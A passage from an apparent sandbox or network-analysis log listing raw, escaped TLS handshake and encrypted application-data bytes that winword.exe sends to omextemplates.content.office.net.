  334. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xda\\xc7l\\xbe,!\\x860z\\x08\\xe3\\xc0:d#~0`\\xb6\\xd8\\x19i\\xdf\\xe1\\xd3\\xc4\\xf8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  335.  
  336.  
  337. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\"c\\xe2\\x13s+*\\xca\\xe3^pvjb\\xa7-\\x1c\\xc3\\x01\\x92\\xf1\\x06*$\\xb8\\x99\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  338.  
  339.  
  340. "http_request": "winword.exe_WSASend_\\xa2\\x05\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc7y.<:xtf\\x01zs\\x88\\xad\\xe1r\\xcdq\\xbe\\xae\\x14\\x17\t@\\xf2q\\xaf\\xd33\\xcfy\\xe9um\\xb8%\\x02\\xffw\\x9c\\xbb\\xdd\\x98\\xa1\\xe3\\xbdo\\xaf\\xa4 \\x03\\x8c\\x1a\\x86\\xa0\\x8foa`>\\x96\\xbf#\\xf4b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000~\\xa1\\x1d\\xeay\\xfdh\\xce\\x0c\\xafg\\x1a\\xaax\\xf0\\xff7\\xd7\\xff\\x95\\xa5\\xd1\\xb9k/\\x8du^\\xc9<\\x0f\\xe8;\\xc5\\xdc\\x91`\\xbe\\xf1uj`u\\xe5v?w\\xa5"
  341.  
  342.  
  343. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xba\\xbe\\x1fz\\xf0&f<\\x18\\xdf\\x0cj\\x0b\\x13\\xca\\x15\\xb1\\xf4\\xf3\\xa7\\xb9\\xd7\\xae\\xa1\\xeb\\xbd\\x89\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  344.  
  345.  
  346. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16o%\\x87\\x86\\xfer\\xb0\\x9d\\xc6\\xc8\\xe2\\x1d\\xdae\\xfa\\xc98\\xd3e\\xbf\\xde\\x82\\x0e^\\xa9np=\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  347.  
  348.  
  349. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xff\\x97\\x1a1\\xfc\\xd2\\x85\\xc6\\xb0\\xe0!\\xb2\\xf6\\x1b\\xf1\\xf2\\xba\\xcf\\x81)87e\\x08+\\xea\\xbd<\\xdb\\xadrp\\xa7\\x0ej\\x04\\x13\\x9f@s\\xa2q\\x0er-\\xa3:\\xa8w\\xeb\\x80\\xc5\\xcb\\xd1\\x1f\\xd2\\xb3\\xc3y\\xe6\\x07\\xfe\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000t\\xe0\\x7f\\x82\"d\\x9fv6\\x04d\\x14\\xf5\\xfe\\xb8'\\x9a\\xb4\\xe2m~\\x12d\\x93\\x7f\\xc8\\xc4\\xd8o3\\x95\\x8fltr\\xe7\\xf6:\\xb8\\x9fd\\x15\\x82\\xb0\\x92\\x1dk"
  350.  
  351.  
  352. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0f\\xd6\\x17\\x88$u\\xb1!\\x1c\\x12\\xf7\\x9b\\x14\\xfc\\xf4q~\\x9ba\\x16rz\\x82?\\xd2\\xda\\xb6\\xa1\\xce\\xd6'\\xecdi\\xba\\xa9\\xb4\\xd2\\xe4b\\xfd\\xec\\xc6\\x16\\x88\\xac.\\x16@\\xf6\\x9d\\xfc\\xc6\\xb4\\xa5\\xb2\\xd4\\xb0\\xf03o\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000yc\\x194\\xd0e\\x19\\xe3\\x99\\xa0\\xef\\xe2<:\\xd7t.\\xb7\\xf2\\xecn\\xbd@\"\\xb6(\\x1c\\x06\\xa8j\\x14\\x90 \\x87\\xf9\\xf7\\xf6\\x87owq\\x15\\xcb\\x13>\\xd5\\xc6"
  353.  
  354.  
  355. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x99\\xc4\\xfd\\xd5\\x88\\xca\\xfe\\x87\\xff\\xec\\xd9\\x97\\x1c0\\x92\\x8e\\xb6>\\x15g.\\xd3p\\x003\\xb2.=\\x93\\xda\\xf5\\xeb:\\x1d\\x16\\x06\\xcf\\xd5t\\x7f\\xf4\\xa2\\x80\\x7f\\x12\n\\xb5ze\\xf2\\q\\x10\\xcb\\x88\\xe9\\xcb\\xac\\xb8re\\xa8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x16\\xb2*\\xcc\\xdf\\x90@\\x15o\\x8cvc9\\x8a$\\xc9\\xed\\x1a\\xbc\\x10\\xe9\\xff~\\xe8*\\xeea\rv'\\xb7\\xa9*n\\xafk\\x86\\xc3$\\xe4n*\\x08\\xd2\\xbe\\xf8\\x98\\xd3"
  356.  
  357.  
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04!\\xe8\\xc4\\x1a\\xcc8+'\\x89\\x99\\x8b\\xc6\r\\xdc%\\xa0\\xde\\x87\\xd3v\\xc8\\xb9\\xb8(\\x91\\x03\\xec\\xb4jv\\xdb-\\x1fu@\\xc8a\\x00\\xd4\\xe5\\xb5\\x0c\\x9e\\x1f\\xa2\\xfd\\xee\\xd7\\xeb\"\\xcf\\xc3\\xf0\\x91\\xb9\\xf1g\\x10jf\\xe7\\xe3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9f\\xfb!\\xb3b\\x10\\xcc9\\x8c\\xc3\\xa8/z(\\x1e\\xffq\\xa6,\\x10\\xb0\\xe3\\xac\\xdc\\x1d\\xf1\\xbbwl\\xf3\\xfa\\x16\\x94tth\\x04z\\xcf\\x84/h\\xedw\\x08o"
  359.  
  360.  
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x14\\xaa\\x83\\xbc\\xe8\\xe8\\x96\\x7f\\xfc\\x14\\x1e7>\\x1e\\xb1\\xe5,l\\xa1\\xcah\\x0b\\xdc\t\\x04\\xaby\\x80\\xd0\\xf1\\xdb\\xf9m\\x1c(uns\\xd2\\xc6\\x81\\xd9\\xa6j\\x0e\\xf2f\\xa7ky\\x9e\\xe6;\\xcb\\x85\\x1e\\xf7\\x01++\\x19\\xbc\\xd6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\x0e\\xb6\\x93\\x0ck\\xca\\xf0(\\x14sr\\xbd.\\xfbw\\x0e<4\\xa8\\x0b\\x01a\"\\xbds\\xd8\\x92\\xbc\\xb1\\xaet\\x99e>w8/\\xfa\\xbb\\x18x\\xc5\\xa50\\xeb\\xab"
  362.  
  363.  
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04qv'\\x19\\xa0'\\x8b'v;\\xe6\\xef\\x1e\\x7f\\xf1\\x9avu\\xbb\\x1el!\\x8e\\xc4)1\\xe9z\\xf8\\\\xe7\\xb3\\xe9\\x07\ri\\x92\\x98\\xcc<mzk\\xa6j\\xb9\\xd1d`\\x93es\\x05\\xbe\\xfa;\\xed.\\xce\\x93\\xa8\\xda\\xbb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000x\\xd6\\xc6\\x88\\xf48\\x19\\x1c\\xe6\\x14d\\xcd5\\x13\\x82\\x16t\\xce\\xfcct:\\x97\\xd2?$\\xbc\\xd7\\xe7\\x84k\"\\xc0\\x08\\x1b\\xe3\\x8e\\xdct\\xc9\\xcb\\x8a\\xf1\\x00\\x91\\xb3"
  365.  
  366.  
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8b6x~\\x84\\x01q\\xc2\\xb3\\xcaj\\xbdl3\\x95qv\\xdcj\\xe3\\x15*\\x87\\xa0\\xea\\xe0\\x19e&\\x87\\xf0\\x800\\xfc\\xa0|\\xc0`>\\xa3w\\x9b^\\xb9\\xa1$0&<k\\xa4t4i\\x05h\\x03\\xb2\\x02\\xe0\\xf1\\x13l\\xf6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x99\\x1f\\xfe\\xa8k\\x8bu\\xb0\\xc4'59s\\xef\\x98\\x9e\\xebo\r\\xa1r\\xc5h\\xc9\\x1a\\xaf\\x06\\xc3\\x85\\xeef\\x060\\xc7\\x13\\xc0g\\xe3\\x00\\x92v\\xb4\\xd4\\xfe\\xbb\\xa1\\xd9"
  368.  
  369.  
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x87r2\\x1f\\xef\\x13ik\\x8e\\xdaf\\xe3-\\x13b;e\\xb3\\xe8d\\xe6<\\xd0\\x85\\x8b\\xa1\n\\xeb\\x94:\\x11\\x07\\xdc\\xca\\xdaz\\xaa0\\xff\\x9a\\xe4a#.z\\xff\\x1c\\xdd\\x88\\xfdl\\x0e\\x9b\\x19\\xde\\xaa\\xd5\\xb2\\x17\\xaax\\xf7\\x1c\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000f\\xe0\\xab\\xf2\\x13kjj\\x936_h\\x08\\xb4\\x1f\\x92\\x1c\\xfa\\xeb`\\xfd\\xfb\\x80\\xb6\\x00\\xa8z\\x85||\\xa9\\xcc\\xa6\\x91dy\\x05\\x85\\x91\\xcb\\xe8\\xee\\xf0\\xb1\\x12\\xb8a6"
  371.  
  372.  
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbf\\xd2\\x80`ov\\xa3\\xf9\\x17a\\xce\\x8d\\x16\\\\x0e\\x96\\xab\\x11\\x0e\\x91\\xc2,\\x0f\\xe2\\xa1\\xccc\\x85\\xbe\\x9e7\\xdd\\xd4\\xe3\\xec\\xd6\\x00\\xc3w\\xca\\xd7#\\xb1y\\xf8\\xf5\\x151\\xe7\\xe9q(\\xbc^mch\\x1c9\\x1a\\xeb\\xc5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd4|&\r\\x17\\xcc\\xb4g\\xd1q\\x17\\xbc&\\x05\\x08\\xc1\\(v\\x88sx@\\x0e\\x80\\xd7jc~= xi.\\x81l6\\xe7\\xbe6\\xdc\\x9dr\\xcc\\xc6\\x11v\\x05"
  374.  
  375.  
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdd\\xd2\\xebv\\xb2e\\xba\\xc2\\xe1c\\x1f'\\xa6\\x9f^\\xf06qu\\xb1\\x8c\\xbe\\x97\\xd3\\xa5\\xb6i0\\xeab\\xc7\\xab\\x9a\\x16\\xea\\x08'#\\xdd\\xd6\\xf2\\xe2\\x93\\x82\\x08)\\xe1\\x9d*\r\\x99a\\x8d$\\xba%-\\xbe\\x05\\x8fow\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000/f\\x9a\\xa0\\xe5\\xc1\\x18y\nbe\\x8b\\xa3\\xa2\\x8bh\\xe2\\xe0\\x16\\xa3z\\xa8\\x1e`h:\\xc7)b\\xd0;=\\xafe1\\xf82\\x00\\xb0~\\x88\\x1c\\xbc\\xc37\\xcd\\x82\\x8f"
  377.  
  378.  
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xc4\\xe3`5\\x1c\\xa91\\xa2\\xc8\n_\\x15g\\xc0\\xc0\\xf2\\xae\\xa1gd\\xffc\\x00\\xe5\\x0f&\\xc2\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380.  
  381.  
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16>\\x0fu\\xd6@\\x16sp\\x00t\\x07zkgyw,\\x8a\\xd5\\xbas\\x02\\xd6\\xb8\\xe8\\xa2\\xd1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383.  
  384.  
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16x\\xf9i\\xc7\\xac\\xae\\xca\\xdb@\\x82\\xbdr\\xfb\\x98\\xb3\\xba\\x93\\xcf\\x18\\xd5~o\\xc0*\\xe7s\\x85\\x02\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386.  
  387.  
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xee\\xb7\\xad\\xc4\\xb9y\\xb1\\xcb\\xc0h\\xdb\\xf4\\x86\\x98\\xb0s \\x8b\\xb7@\\xdf\\x92w\\x97\\x19\\xfe\\x81\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389.  
  390.  
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xc0r\\xbdd\\x15\\x81\\xaa\\x91w\\xeb\\xae(\\x08h\\xfd\\xdd\\xb3\\x90_\\xc2\\xcc\\x84\\xfa\\x9a\\x1f\\xda\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392.  
  393.  
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\xaa\\xdd\\x0b\\xe8\\x0e+\\xda\\xf1\\x1d>-d\\xcf\\x01\\xe5\\xf1\\x19e\\xb0\\xa78\t\\x9eb\\xc8\\xcb\\xbf\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395.  
  396.  
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16.\\xc1\\xa4'5\\xc8d/\\xc4<\\xa9\\xbfm\\xf4\\x19#mr\\xb8\"=\\x81\\x7fz\\xd5\\x0f\\x80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398.  
  399.  
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\x02\\x18\\xae2\\xa9\\xcb\\xad\\xf2\\xd5\\xc5\\x92\\\\xddm\\xbe\\xba\\xd5\\xa3\\xf8j@y\\xc5\\x8e\\x1bkf\\xe3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401.  
  402.  
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16u=\\xb60\\x07\\x02\\xc8\"'\\x88\\x1f\\x86\\xd0\\x01\\xc6\\x0f\\xbaw^e9\\xea\\x1el\\xcc\\xcf\\xc6$\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404.  
  405.  
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x166!\\xde\\x9f\\x9e\\x0ee\\x84\\xea\\xdb\\x8d\\x10\\xe4^\\x83\\x146\\x17\\x9f\\x03(\\xac\\x9b\\xcc\\x99ht\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407.  
  408.  
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16\\x0bz\\xe0\\x91!a\tl$\\x91\\xd4\\xda\\xa9\\xc5.&i\\xc9\\x96q\\xec\\xa5\\x0f\\xe8\\xaes\\xabl\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410.  
  411.  
  412. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16 \\xfa\\x7f\\x1bf9\\xec\\xcf\\x90\\x05\\xe1h\\xc4g\\xa6m\\xdd\\xc8\\xd2m\\x17\\xe7\\x99\\xf0y\\x90g\\xf8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413.  
  414.  
  415. "http_request": "winword.exe_WSASend_\\x8e\\x05\\x01\\x00f\\x10\\x00\\x00ba\\x04g\\x9bc\\xfe fm1.v\\xd0u\\xf1\\x845\\x06=\\x0f\\xab\\xae\\xb4\\xb6j\\xac\\x87\\xe39\\xab\\xff%\\xd8(\\xa1\\x80\\xb4\\xa0\\x13\\x90\\x19\\x89\\x805\\xd8\\xe3\rpq\\xff\\xe6y<\\x8b\\xe4&\\xf5\\x850\\x06\\xe1s\\xa4q\\xe8\\xa6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe2n(\\xaa4;\\xa0\\xbb\\xd6*\\xf4\\x1f\\xd8 \\xd4\\x7ff\\xc5pr\\xbd\\xdf0\\x15>\\x11\\x92!k\\x1c\\xf1\\xed\\xd8\\xa2p\\x7f7\\xbb\\xd8\\n\\xa9\\x9a8a-\\x82"
  416.  
  417.  
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04,\\xfe\\xfb\\xf3\\x18w\\x96\\xe8\\x11c\\x1f\\x1f\\x1b\\xd7sp\\x99\\xcd\\x0eh\\xd8u\\x03:\\xc5m\\xf92\\xc1?\\x911h=\\xf3u`\r\\x02\\xa4\\xda\\x0f\\xe2!\\x96\\xd1\\x9d,\\xd7\\x12\\x00\\xf4#\\x8a\\x00\\xd74(\\xe2t\\xa0\\x1dy\\x98\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xfc8\\xfbd\\x14%w\\x0bb\\xa60\\xdc\\x96<:v9&a\\xef\\x97\\x10&\\xfe\\xb2-x\\xa3g\\x85\\x11!\\xdc\\xf8)\\xc8\\xe5\\xd6\\xdc )\\x8ac\\xf7|\\x13\\x8d\\xdc"
  419.  
  420.  
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01d\\x16\\x16.\n\"l\\x96?\\xa4\\xd0\\x92c\\x0cy\\xecow\\xd73-3\\xach\t\\x08\\xdd\\xc9\\xaas\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  422.  
  423.  
  424. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010t\\xf1\\xd6\\xc2\\xe3\\x1a2\\x8b\\xf0\\xe6\\x92\\xcf\\xaa\\xf7e\\x9b\\x065~\\xda\\xd4\\xec\\xbcb:\n\\x11\\x12\\x1f\\x9a\\xdb\\xde\\xa0\\xd4\\x83\\x82\\xaf\\xd5d\\xdel\\x06wk\\x81\\xa6c\\xe5\\xd3\\x8b\\xa3\\x8b\\xb1\\xdb\\x1c\\x0c\\x10\\x83q!nd\\xa7<q\\xbe\\x95\\xf5uf\\xd8\\xbb\\xa6v\\xd1t\\xfd\\x03_-\\xe8\\x1a\\xdb\\xfe\\x10\\x12\r\\x13tv\\x98r\\x0c\\x12\\xd9x\n\\xc6=\\xc3\\xf8\\xe4m\\xbd0\\x9dem\\x86\\xce0t^f1\\xa3\\xf3\\xbcr\\xc86\\x14l\\x9f(u\\xf0\\xb0\\x12\\x07;.w.\\xa6>@\\x117\\x9f\\xc91\\x8e\\xac\\x11\tfg(r\\x01(\\x7f\\x16x4\\xc6d\\xeb\\xe8^\\xf6\\x15(\\x18q\\xbb\\xf8\\x9a\\xd5\\xff*x)\\xd8a\\x87\\x07`\\xc08\\xbd\\xf8\\xdeg\\xe4\"\\x17\\xac?+\\x14\\xacw'\\xbb\\xce|\\xa8\\x16\\xe6k\\x8bu\\xaf\\xce\\xc0\\xd7\\xf8t\\xbd\\xf0\\xb8\\xe9 i\\x13/\\xeb\\xe0`\\xe0\\xb2\\xbc\\xa6\\xb4i2*y\\x16\\xaf&\\xb5\\x80\\xe0\\x1e\\x1d\\x93\\xec\\x7f\\\\x9bg\\x8f\\xc0\\xb7\\xc40"
  425.  
  426.  
  427. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdf\\xcd\\xd4\\x1b\\x04\\xdc\\xfa1\\xef\\xf1\\xba3\\xa2\\xc0\\xa8\\x12~b\\x05d0\\x81\\xc5\\xad\\x14i\\xcb\\x03\\xdb\\x15'\\xc8\\xae\\xd6'\\xc5o\\xe5\\xad\\x84\\xf4\\x1b\\x9b\\xc2>\\x17\\xc7\\x1e\\xd8\\x9c\\xc0\\x9e\\x8c\\x04\\x05\\x03\\x06\\xec/g\\x10o,\\x9c\\xe2mat\\x0e%\\xdc\\xb5dn\\xdc\\xd3\\x9f?+ux8m\\xef\\x7fxe\\x82\\x98ai\\xe1\\xa2\\x0e\\x94\\xe8\\x81b\\x08r\\xa6\\x1e\\xe2\\xe9\\xd5&\\xe4\\x9b\\x93\\x03\\x8c\\x02\\xca\\xa0\\x15\\xaf\\xf7\\x0cwvj\\xa5\\xd4\\x88./\r\\xc6\\x96\\x8e$cs\\xe7\\xcc\\x81\\xb4o?\\x9e\\x12\\xfaumk\\xe6\\xfb3\\x0c\\xba\\xcc\\x06=\\x9cw\\xb3\\x98k\\xb6(q\\xf4\\xf4\\x8b\\xa8a\\xb1b \\xdf\\xe4\\x1bm\\xf3o\\x96\\x81\\x86\\x0b\\x1f\\xe8\\xff\\x87.\\xa3\\x8eo\\xde\\xe7\\xb7\\x0cgr\\x8a\\xc55\\xb2\\xfb6i\\x85\\xfe\\xcd\\x0f8pyia\\xbc\\xbe\\x97\\x9b\\xeb\\\\x83\\x99\\x91\\xc4\\x08!\\x1bdt\\x02\\xb9\\xe8m\\xc1\\x8b\\xbe\\xcc\\x9e\\x16!\\xfb3\\xdd\\x1f\\xfe\\xd8\\x10k\\x9a\\x15\\xad\\xb7\\xa1\\x9b\\x94"
  428.  
  429.  
